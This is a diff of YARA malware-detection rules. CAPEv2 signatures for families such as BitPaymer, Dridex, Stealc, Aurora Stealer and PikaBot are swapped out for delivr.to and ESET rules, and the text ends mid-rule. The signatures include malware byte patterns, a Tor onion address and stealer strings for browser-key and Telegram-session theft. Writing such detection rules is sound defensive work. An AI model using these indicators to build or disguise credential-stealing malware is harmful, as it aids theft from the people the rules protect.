-		author = "kevoreilly"
-		id = "1185170f-4a5b-5347-807b-ef2af98a1a09"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Mole.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "8be4d190d554a610360c0e04b33da59eb00319395e5b2000d580546ce6503786"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Mole Payload"
+		description = "Presence of Base64 JavaScript blob loading WASM"
+		author = "delivr.to"
+		id = "fc83bb4f-ba8a-52d2-b9ce-632da5341f77"
+		date = "2024-02-28"
+		modified = "2024-05-24"
+		reference = "https://github.com/delivr-to/detections"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/html_wasm.yar#L1-L13"
+		license_url = "N/A"
+		logic_hash = "4bca88862c28db947c04c40e40fdecc682223d1eb90c98350fbd6c5d8c6c4636"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = ".mole0" wide
-		$a2 = "_HELP_INSTRUCTION.TXT" wide
-		$a3 = "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
+		$wasm = "WebAssembly.Module" base64
+		$int = "WebAssembly.Instance" base64
+		$inst = "WebAssembly.instantiate" base64
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		all of them
 }
-rule CAPE_Varenyky : FILE
+rule DELIVRTO_SUSP_Onenote_RTLO_Character_Feb23 : FILE
 {
 	meta:
-		description = "Varenyky Payload"
-		author = "kevoreilly"
-		id = "e01695fa-72a0-5d8e-86ab-8c909d28b8ec"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Varenyky.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "602f1b8b60b29565eabe2171fde4eb58546af68f8acecad402a7a51ea9a08ed9"
-		score = 75
-		quality = 70
+		description = "Presence of RTLO Unicode Character in a OneNote file with embedded files"
+		author = "delivr.to"
+		id = "03d86391-1392-5734-af5f-8a2c7b99167a"
+		date = "2023-02-17"
+		modified = "2023-02-17"
+		reference = "https://github.com/delivr-to/detections"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/onenote_rtlo_filename.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "286bc1ab1f5df0d64634f53cc82357187306c40b063b156f36b602e131262c7a"
+		score = 60
+		quality = 55
 		tags = "FILE"
-		cape_type = "Varenyky Payload"
 
 	strings:
-		$onion = "jg4rli4xoagvvmw47fr2bnnfu7t2epj6owrgyoee7daoh4gxvbt3bhyd.onion"
+		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
+		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
+		$rtlo = { 00 2E 20 }
 
 	condition:
-		uint16(0)==0x5A4D and ($onion)
+		filesize <5MB and ($one at 0) and $fdso and $rtlo
 }
-rule CAPE_Bitpaymer : FILE
+rule DELIVRTO_SUSP_ZPAQ_Archive_Nov23 : FILE
 {
 	meta:
-		description = "BitPaymer Payload"
-		author = "kevoreilly"
-		id = "c139b514-a1ba-5d47-8f4d-8e60cddfe2ba"
-		date = "2019-11-27"
-		modified = "2019-11-27"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/BitPaymer.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6ae0dc9a36da13e483d8d653276b06f59ecc15c95c754c268dcc91b181677c4c"
-		score = 75
-		quality = 70
+		description = "ZPAQ file archive with expected file and block headers"
+		author = "delivr.to"
+		id = "28b6ffbe-be95-5ac8-ad3e-f9713a204d98"
+		date = "2023-11-26"
+		modified = "2023-11-27"
+		reference = "https://www.gdatasoftware.com/blog/2023/11/37822-agent-tesla-zpaq"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/zpaq_archives.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "348144ee7137def00b37e074507e8148e51d34c484802a56bcd6e090d4628f18"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		cape_type = "BitPaymer Payload"
 
 	strings:
-		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
-		$antidefender = "TouchMeNot" wide
+		$fh = { 37 6B 53 74 A0 31 83 D3 8C B2 28 B0 D3 }
+		$block_header = /jDC\d{14}[cdhi]\d{10}/
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		$fh at 0 and $block_header
 }
-rule CAPE_Dridexv4 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: ESET
+ * Repository: https://github.com/eset/malware-ioc
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 9b299fc90dc027a039652a8a4ac487ade0a381dd
+ * Number of Rules: 98
+ * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * Copyright (c) 2014-2018 ESET spol. s r.o.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ */
+import "pe"
+
+private rule ESET_Invisimole_Blob_PRIVATE
 {
 	meta:
-		description = "Dridex v4 Payload"
-		author = "kevoreilly"
-		id = "c396f664-9f0d-50ac-bce8-33fd8712645a"
-		date = "2022-05-31"
-		modified = "2022-05-31"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/DridexV4.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "cb103fe5f2d4792e3c612db4e2d84a4c8b0ce0f9a8443e9147e2c345f1dbdff6"
+		description = "Detects InvisiMole blobs by magic values"
+		author = "ESET Research"
+		id = "6a179d91-50f1-5400-b141-0f162efd2431"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/invisimole/invisimole.yar#L34-L52"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8bddaf874da58fbe6362498f8979b511f39531fe2b98d4be8c099bdafb6d0067"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "DridexV4 Payload"
+		quality = 80
+		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
-		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
-		$getproc64 = {81 FB ?? ?? ?? ?? 75 04 33 C0 EB 2D 8B CB E8 ?? ?? ?? ?? 48 85 C0 75 17 8B CB E8 ?? ?? ?? ?? 84 C0 74 E5 8B CB E8 ?? ?? ?? ?? 48 85 C0 74 D9 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B 5C 24 30 48 83 C4 20 5F C3}
-		$bot_stub_32 = {8B 45 E? 8? [5-13] 8A 1C 0? [6-15] 05 FF 00 00 00 8B ?? F? 39 ?? 89 45 E? 72 D?}
-		$bot_stub_64 = {8B 44 24 ?? 89 C1 89 CA 4C 8B 05 [4] 4C 8B 4C 24 ?? 45 8A 14 11 83 E0 1F 89 C0 41 89 C3 47 2A 14 18 44 88 54 14}
+		$magic_old_32 = {F9 FF D0 DE}
+		$magic_old_64 = {64 FF D0 DE}
+		$magic_new_32 = {86 DA 11 CE}
+		$magic_new_64 = {64 DA 11 CE}
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		($magic_old_32 at 0) or ($magic_old_64 at 0) or ($magic_new_32 at 0) or ($magic_new_64 at 0)
 }
-rule CAPE_Stealc : FILE
+private rule ESET_Prikormkaearlyversion_PRIVATE
 {
 	meta:
-		description = "Stealc Payload"
-		author = "kevoreilly"
-		id = "44a00d4b-0053-5b3d-baa4-b666f7182ba0"
-		date = "2024-02-16"
-		modified = "2024-02-16"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Stealc.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d"
-		logic_hash = "90a3a72f53d0c020f1568d7bbf183ee4f76ec3f4706d2331bcbc4e631bf6399d"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "f10e6477-c4bb-50be-8827-66de35a9aea8"
+		date = "2019-08-28"
+		modified = "2019-08-28"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/groundbait/prikormka.yar#L112-L128"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "681c7fb322953da162c10b76e453aa8ace6673720012383e3cd5528b59b42de3"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Stealc Payload"
+		quality = 28
+		tags = ""
 
 	strings:
-		$nugget1 = {68 04 01 00 00 6A 00 FF 15 [4] 50 FF 15 [4] 8B F?}
-		$nugget2 = {64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC}
+		$mz = { 4D 5A }
+		$str00 = "IntelRestore" ascii fullword
+		$str01 = "Resent" wide fullword
+		$str02 = "ocp8.1" wide fullword
+		$str03 = "rsfvxd.dat" ascii fullword
+		$str04 = "tsb386.dat" ascii fullword
+		$str05 = "frmmlg.dat" ascii fullword
+		$str06 = "smdhost.dll" ascii fullword
+		$str07 = "KDLLCFX" wide fullword
+		$str08 = "KDLLRUNDRV" wide fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		($mz at 0) and (2 of ($str*))
 }
-rule CAPE_Aurorastealer : FILE
+private rule ESET_Prikormkamodule_PRIVATE
 {
 	meta:
-		description = "detects Aurora Stealer samples"
-		author = "Johannes Bader @viql"
-		id = "07779318-3e5d-5e67-8c04-f3f70d7e48b7"
-		date = "2022-12-14"
-		modified = "2023-03-31"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AuroraStealer.yar#L1-L74"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "0d10e9268184f494a73d5b4ab0d9a478ad0c26d2ef13d5134f8c9769f028b8f5"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "f99ed5f7-9ccc-5543-9224-6f865578f81e"
+		date = "2019-08-28"
+		modified = "2019-08-28"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/groundbait/prikormka.yar#L53-L110"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d5d7f1a46cbf9ff545c0fa840228d19ee7d45307078b4ae0b5a2fdf1c94d2978"
 		score = 75
-		quality = 45
-		tags = "FILE"
-		version = "v1.0"
-		tlp = "TLP:WHITE"
-		malpedia_family = "win.aurora_stealer"
-		hash1_md5 = "51c153501e991f6ce4901e6d9578d0c8"
-		hash1_sha1 = "3816f17052b28603855bde3e57db77a8455bdea4"
-		hash1_sha256 = "c148c449e1f6c4c53a7278090453d935d1ab71c3e8b69511f98993b6057f612d"
-		hash2_md5 = "65692e1d5b98225dbfb1b6b2b8935689"
-		hash2_sha1 = "0b51765c175954c9e47c39309e020bcb0f90b783"
-		hash2_sha256 = "5a42aa4fc8180c7489ce54d7a43f19d49136bd15ed7decf81f6e9e638bdaee2b"
-		cape_type = "AuroraStealer Payload"
+		quality = 26
+		tags = ""
 
 	strings:
-		$str_func_01 = "main.(*DATA_BLOB).ToByteArray"
-		$str_func_02 = "main.Base64Encode"
-		$str_func_03 = "main.Capture"
-		$str_func_04 = "main.CaptureRect"
-		$str_func_05 = "main.ConnectToServer"
-		$str_func_06 = "main.CreateImage"
-		$str_func_07 = "main.FileExsist"
-		$str_func_08 = "main.GetDisplayBounds"
-		$str_func_09 = "main.GetInfoUser"
-		$str_func_10 = "main.GetOS"
-		$str_func_11 = "main.Grab"
-		$str_func_12 = "main.MachineID"
-		$str_func_13 = "main.NewBlob"
-		$str_func_14 = "main.NumActiveDisplays"
-		$str_func_15 = "main.PathTrans"
-		$str_func_16 = "main.SendToServer_NEW"
-		$str_func_17 = "main.SetUsermame"
-		$str_func_18 = "main.Zip"
-		$str_func_19 = "main.base64Decode"
-		$str_func_20 = "main.countupMonitorCallback"
-		$str_func_21 = "main.enumDisplayMonitors"
-		$str_func_22 = "main.getCPU"
-		$str_func_23 = "main.getDesktopWindow"
-		$str_func_24 = "main.getGPU"
-		$str_func_25 = "main.getMasterKey"
-		$str_func_26 = "main.getMonitorBoundsCallback"
-		$str_func_27 = "main.getMonitorRealSize"
-		$str_func_28 = "main.sysTotalMemory"
-		$str_func_29 = "main.xDecrypt"
-		$str_type_01 = "type..eq.main.Browser_G"
-		$str_type_02 = "type..eq.main.STRUSER"
-		$str_type_03 = "type..eq.main.Telegram_G"
-		$str_type_04 = "type..eq.main.Crypto_G"
-		$str_type_05 = "type..eq.main.ScreenShot_G"
-		$str_type_06 = "type..eq.main.FileGrabber_G"
-		$str_type_07 = "type..eq.main.FTP_G"
-		$str_type_08 = "type..eq.main.Steam_G"
-		$str_type_09 = "type..eq.main.DATA_BLOB"
-		$str_type_10 = "type..eq.main.Grabber"
-		$varia_01 = "\\User Data\\Local State"
-		$varia_02 = "\\\\Opera Stable\\\\Local State"
-		$varia_03 = "Reconnect 1"
-		$varia_04 = "@ftmone"
-		$varia_05 = "^user^"
-		$varia_06 = "wmic path win32_VideoController get name"
-		$varia_07 = "\\AppData\\Roaming\\Telegram Desktop\\tdata"
-		$varia_08 = "C:\\Windows.old\\Users\\"
-		$varia_09 = "ScreenShot"
-		$varia_10 = "Crypto"
+		$mz = { 4D 5A }
+		$str00 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+		$str01 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
+		$str02 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+		$str03 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
+		$str04 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
+		$str05 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+		$str06 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+		$str07 = {50 52 55 5C 17 51 58 17 5E 4A}
+		$str08 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
+		$str09 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
+		$str10 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
+		$str11 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
+		$str12 = "ZxWinDeffContex" ascii wide
+		$str13 = "Paramore756Contex43" wide
+		$str14 = "Zw_&one@ldrContext43" wide
+		$str15 = "A95BL765MNG2GPRS"
+		$str16 = "helpldr.dll" wide fullword
+		$str17 = "swma.dll" wide fullword
+		$str18 = "iomus.dll" wide fullword
+		$str19 = "atiml.dll" wide fullword
+		$str20 = "hlpuctf.dll" wide fullword
+		$str21 = "hauthuid.dll" ascii wide fullword
+		$str22 = "[roboconid][%s]" ascii fullword
+		$str23 = "[objectset][%s]" ascii fullword
+		$str24 = "rbcon.ini" wide fullword
+		$str25 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
+		$str26 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
+		$str27 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
+		$str28 = "\\PZZ\\RMO\\" ascii
+		$str29 = ":\\work\\PZZ" ascii
+		$str30 = "C:\\Users\\mlk\\" ascii
+		$str31 = ":\\W o r k S p a c e\\" ascii
+		$str32 = "D:\\My\\Projects_All\\2015\\" ascii
+		$str33 = "\\TOOLS PZZ\\Bezzahod\\" ascii
 
 	condition:
-		uint16(0)==0x5A4D and (32 of ($str_*) or 9 of ($varia_*))
+		($mz at 0) and ( any of ($str*))
 }
-rule CAPE_Pikabotloader : FILE
+private rule ESET_Prikormkadropper_PRIVATE
 {
 	meta:
-		description = "Pikabot Loader"
-		author = "kevoreilly"
-		id = "e2c89cdd-0cdb-5367-8aae-2fe685eff972"
-		date = "2024-03-13"
-		modified = "2024-03-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/PikaBot.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "7e5f1f2911545ee6bd36b54f2627fbdec1b957f4b91df901dd1c6cbd4dff0231"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "d333693d-5386-5c34-a1c1-7a17e5bde849"
+		date = "2019-08-28"
+		modified = "2019-08-28"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/groundbait/prikormka.yar#L33-L51"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "cf524cdf4ffeb5c9280c5c8e7fca524c41e1ce4f9bc46b1fc8cb8b50ea68ec39"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "PikaBot Loader"
+		quality = 28
+		tags = ""
 
 	strings:
-		$indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1}
-		$sysenter1 = {89 44 24 08 8D 85 ?? FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8}
-		$sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8}
+		$mz = { 4D 5A }
+		$kd00 = "KDSTORAGE" wide
+		$kd01 = "KDSTORAGE_64" wide
+		$kd02 = "KDRUNDRV32" wide
+		$kd03 = "KDRAR" wide
+		$bin00 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
+		$bin01 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
+		$bin02 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
+		$inj00 = "?AVCinj2008Dlg@@" ascii
+		$inj01 = "?AVCinj2008App@@" ascii
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		($mz at 0) and (( any of ($bin*)) or (3 of ($kd*)) or ( all of ($inj*)))
 }
-rule CAPE_Pikabot : FILE
+import "elf"
+
+private rule ESET_Apachemodule_PRIVATE
 {
 	meta:
-		description = "Pikabot Payload"
-		author = "kevoreilly"
-		id = "140a3e20-9837-5f66-85dc-af278d75e074"
-		date = "2024-03-13"
-		modified = "2024-03-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/PikaBot.yar#L15-L28"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "ed07217c373831a9a67d914854154988696e6fcea70dedabf333385f0e7bb8b7"
+		description = "Apache 2.4 module ELF shared library"
+		author = "ESET, spol. s r.o."
+		id = "2082e50e-1726-5540-a962-e0aeca1ebaaf"
+		date = "2024-04-27"
+		modified = "2024-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/helimod.yar#L3-L30"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
+		logic_hash = "213fe381aa0bf9f148e488f7af74ac63073776c2868e42d2dcca7fdbca55fabb"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "PikaBot Payload"
-		packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9"
+		quality = 80
+		tags = ""
+		license = "BSD 2-Clause"
+		version = 1
 
 	strings:
-		$decode = {29 D1 01 4B ?? 8D 0C 10 89 4B ?? 85 F6 74 02 89 16}
-		$indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1}
-		$config = {C7 44 24 [3] 00 00 C7 44 24 [4] 00 89 [1-4] ?? E8 [4] 31 C0 C7 44 24 [3] 00 00 89 44 24 ?? C7 04 24 [4] E8}
+		$magic = "42PA"
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		for any s in elf.dynsym : (s.type==elf.STT_OBJECT and for any seg in elf.segments : (seg.type==elf.PT_LOAD and s.value>=seg.virtual_address and s.value<(seg.virtual_address+seg.file_size) and $magic at (s.value-seg.virtual_address+seg.offset)+0x28))
 }
-rule CAPE_Pik23 : FILE
+private rule ESET_Potaosecondstage_PRIVATE
 {
 	meta:
-		description = "PikaBot Payload February 2023"
-		author = "kevoreilly"
-		id = "fc804c63-fc6c-5b26-92b1-aa5d2fbc4917"
-		date = "2024-03-13"
-		modified = "2024-03-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/PikaBot.yar#L30-L44"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1"
-		logic_hash = "71a71df2f2a075294941c54eed06cafaaa4d3294e45b3a0098c1cffddd0438bc"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "c1baace9-f481-533a-aa85-df5ba14069f2"
+		date = "2015-07-30"
+		modified = "2015-07-30"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/potao/PotaoNew.yara#L81-L95"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "55f9fc2da09aa9c2e76725985c836f7b8ba5e0b69a9327fb911e8265b340b88c"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "PikaBot Payload"
+		quality = 28
+		tags = ""
 
 	strings:
-		$rdtsc = {89 55 FC 89 45 F8 0F 31 89 55 F4 89 45 FC 33 C0 B8 05 00 00 00 C1 E8 02 2B C3 3B C1 0F 31 89 55 F0 89 45 F8 8B 44 8D}
-		$int2d = {B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC}
-		$subsys = {64 A1 30 00 00 00 8B 40 18 C3}
-		$rijndael = {EB 0F 0F B6 04 3? FE C? 8A 80 [4] 88 04 3? 0F B6 [3] 7C EA 5? 5? C9 C3}
+		$mz = { 4d 5a }
+		$binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
+		$binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
+		$binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
+		$str1 = "?AVCrypt32Import@@"
+		$str2 = "%.5llx"
 
 	condition:
-		uint16(0)==0x5A4D and 3 of them
+		($mz at 0) and any of ($binary*) and any of ($str*)
 }
-rule CAPE_Blister : FILE
+private rule ESET_Potaousb_PRIVATE
 {
 	meta:
-		description = "Blister Loader"
-		author = "kevoreilly"
-		id = "525fc600-2afc-5cf6-bf55-4ce0ea264dca"
-		date = "2023-09-20"
-		modified = "2023-09-20"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Blister.yar#L1-L17"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"
-		hash = "d3eab2a134e7bd3f2e8767a6285b38d19cd3df421e8af336a7852b74f194802c"
-		logic_hash = "f26d85fdf0eb07e67fe38c43c5f6d024bfb7b2a333cb3411f5cdcff6bf5db12d"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "98fd84cb-d8e8-5aed-a1ac-f1099be5a5db"
+		date = "2015-07-30"
+		modified = "2015-07-30"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/potao/PotaoNew.yara#L71-L80"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8f72afbf3b123ea3914b3eade267bd21f7435fbf9fbde4049ca2600513bb31d9"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Blister Loader"
+		quality = 28
+		tags = ""
 
 	strings:
-		$protect1 = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7}
-		$protect2 = {48 83 C9 FF 48 8D 55 ?? FF D6 48 8D 87 [2] 00 00 48 8D 4D ?? FF D0}
-		$lock1 = {B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75}
-		$lock2 = {B8 FF FF FF 7F 41 BC 01 00 00 00 89 45 40 F0 FF 4D 40 49 2B C4 75}
-		$decode = {0F BE C0 49 03 CC 41 33 C1 44 69 C8 [4] 41 8B C1 C1 E8 0F 44 33 C8 8A 01 84 C0 75 E1 41 81 F9 [4] 74}
+		$mz = { 4d 5a }
+		$binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
